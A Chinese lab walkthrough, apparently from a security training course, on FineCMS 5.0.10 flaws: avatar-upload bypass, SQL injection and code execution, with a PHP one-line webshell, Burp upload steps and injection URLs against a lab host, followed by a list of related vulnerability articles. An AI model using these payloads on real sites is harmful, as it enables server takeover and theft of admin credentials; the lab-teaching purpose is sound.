FineCMS 5.0.10漏洞集合

笔记地址： https://www.ichunqiu.com/course/59007
操作机：
Windows xp
IP:172.16.11.2

目标机：
Windows xp
IP:172.16.12.2

实验目的：
学习漏洞产生的原理
学习如何对此漏洞进行利用修复

实验内容：
FineCMS是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统。其5.0.10版本存在任意文件上传（SSV-93211）,任意代码执行（CVE-2017-11585）漏洞以及SQL注入漏洞。

其中任意文件上传漏洞在上传用户头像处，可通过上传一句话木马，修改数据包内容，获取网站Shell。任意代码执行可利用漏洞，构造Payload执行任意代码，而SQL注入漏洞则可以通过注入获取到管理员的账号密码。此次FineCMS 5.0.10漏洞集合，危害巨大，将直接威胁到服务器的安全。

影响版本
FineCMSV5.0.10

实验步骤
步骤1：分别了解漏洞产生原理
第一：文件上传漏洞
漏洞代码位于/finecms/dayrui/controllers/member/Account.php 177~244，具体是在用户头像上传的地方，核心代码如下：

如上，代码仅判断了是否是图片类型，这个判断很容易绕过，只需使用抓包工具修改即可。

第二：sql注入漏洞
漏洞代码位于/finecms/dayrui/controllers/Api.php中的data2()函数，

这个函数可以调用到其他的敏感函数，函数传入的参数进入了data= data = this->template->list_tag($param)，正常来说系统封装的函数是用户不能调用的，但这里用户可以调用data函数，我们继续追踪，查看/finecms/dayrui/libraries/Template.php，代码如下：

如上，将Sql语句处理后赋值给sql变量，最终直接执行。
构造Payload如下：
重要代码：
sql注入代码：

index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql sql='select user();'

第三：代码执行漏洞
上传代码：

 index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache name=MEMBER.1'];phpinfo();$a=['1

步骤二：（建议直接使用漏洞）
top one：（1、访问网址，注册账号）
首先登陆目标网址：172.16.12.2，注册账号：user1 密码：user1
文件上传已知在头像上传处，我们使用账号密码为user1 user1来登陆，在会员中心->上传头像上传文件。
top two:上传木马，将木马传到服务器上
登陆之后在桌面创建文件1.txt，写入一句话木马：

<?php eval($_POST["a"]);?>
其中的a为使用菜刀软件的密码

然后将名称修改为1.png,接下来点击上传头像。
在上传之前，我们需要设置浏览器代理，这样才能抓取到数据包：依次点击设置->高级->网络->设置，将代理设置为127.0.0.1：8080，并打开BurpSuite。

我们将png修改为php，点击Foward放行。这里如果报错，无需理会。
上传木马文件目的是
top three:菜刀连接访问
通过查看CMS框架，可以知道上传文件存储于uploadfile\member\3下
使用菜刀软件可以直接访问：http://172.16.12.2/uploadfile/member/3/0x0.php (木马路径), 其中末尾的.php为一个木马文件，密码为‘a’

进入服务器后台，可以直接查看到flag.txt

top four:sql注入漏洞：查找后台管理员账号密码

top five:上传代码

FineCMS 5.0.10漏洞集合相关推荐

FineCMS 5 0 10漏洞集合
分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 笔记地址 ...
熊海CMS 1.0代码审计漏洞集合
目录 SQL注入注入1 注入2 注入3 cookie注入注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含越权登录熊海CMS是由熊海开发的 ...
Razer Synapse 0 day漏洞可获得Windows 10管理员权限
Razer Synapse 0 day漏洞,插入Razer鼠标即可获得Windows 10管理员权限. Razer 是一家知名的游戏设备品牌厂商,提供的产品包括游戏鼠标和键盘.在Windows 10或 ...
Office 被曝 0 day 漏洞，微软确认 Windows 支持诊断工具存在问题；台半导体厂主管薪水大涨，超 10 人跻身亿元俱乐部
台半导体厂主管薪水大涨,超 10 人跻身亿元俱乐部台湾半导体产业一直面临人才短缺方面的挑战,近年来,面对激烈的人才市场竞争,为争抢有限的人才,各家厂商纷纷大举提薪征才留才,加之产业景气度向好,半导体 ...
【安全漏洞】Struts2漏洞集合总结
Struts2 漏洞集合总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充. 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用d ...
用友OA/NC/NCCloud漏洞集合
目录 0x01声明 0x02漏洞集合 web.xml prop.xml(数据库配置) 任意文件读取 bsh.servlet.BshServlet 远程命令执行漏洞用友 NCCloud FS 文件管理 ...
Struts2 漏洞集合
Struts2 漏洞集合总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充. 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用d ...
%3c php $str1=,thinkphp漏洞集合
整合了一个集合,方便查询 thinkphp 5.0.22 thinkphp 5 thinkphp 5.0.21 thinkphp 5.1.* 未知版本 16.?s=index/\think\modul ...
2023 HW 必修高危漏洞集合
2023 HW 必修高危漏洞集合 1 前言 2 漏洞汇总数据反序列化逻辑漏洞命令执行其他 3 自查高危详情 3.1泛微 e-cology9 FileDownloadForOutDoc SQL ...
利用该0 day漏洞的攻击活动情况
谷歌研究人员发现macOS漏洞利用. 谷歌研究人员在macOS系统中发现了一个安全漏洞--CVE-2021-30869.攻击者利用该漏洞可以以kernel权限执行任意代码.8月底,谷歌研究人员发现了该 ...

FineCMS 5.0.10漏洞集合

FineCMS 5.0.10漏洞集合相关推荐

最新文章

热门文章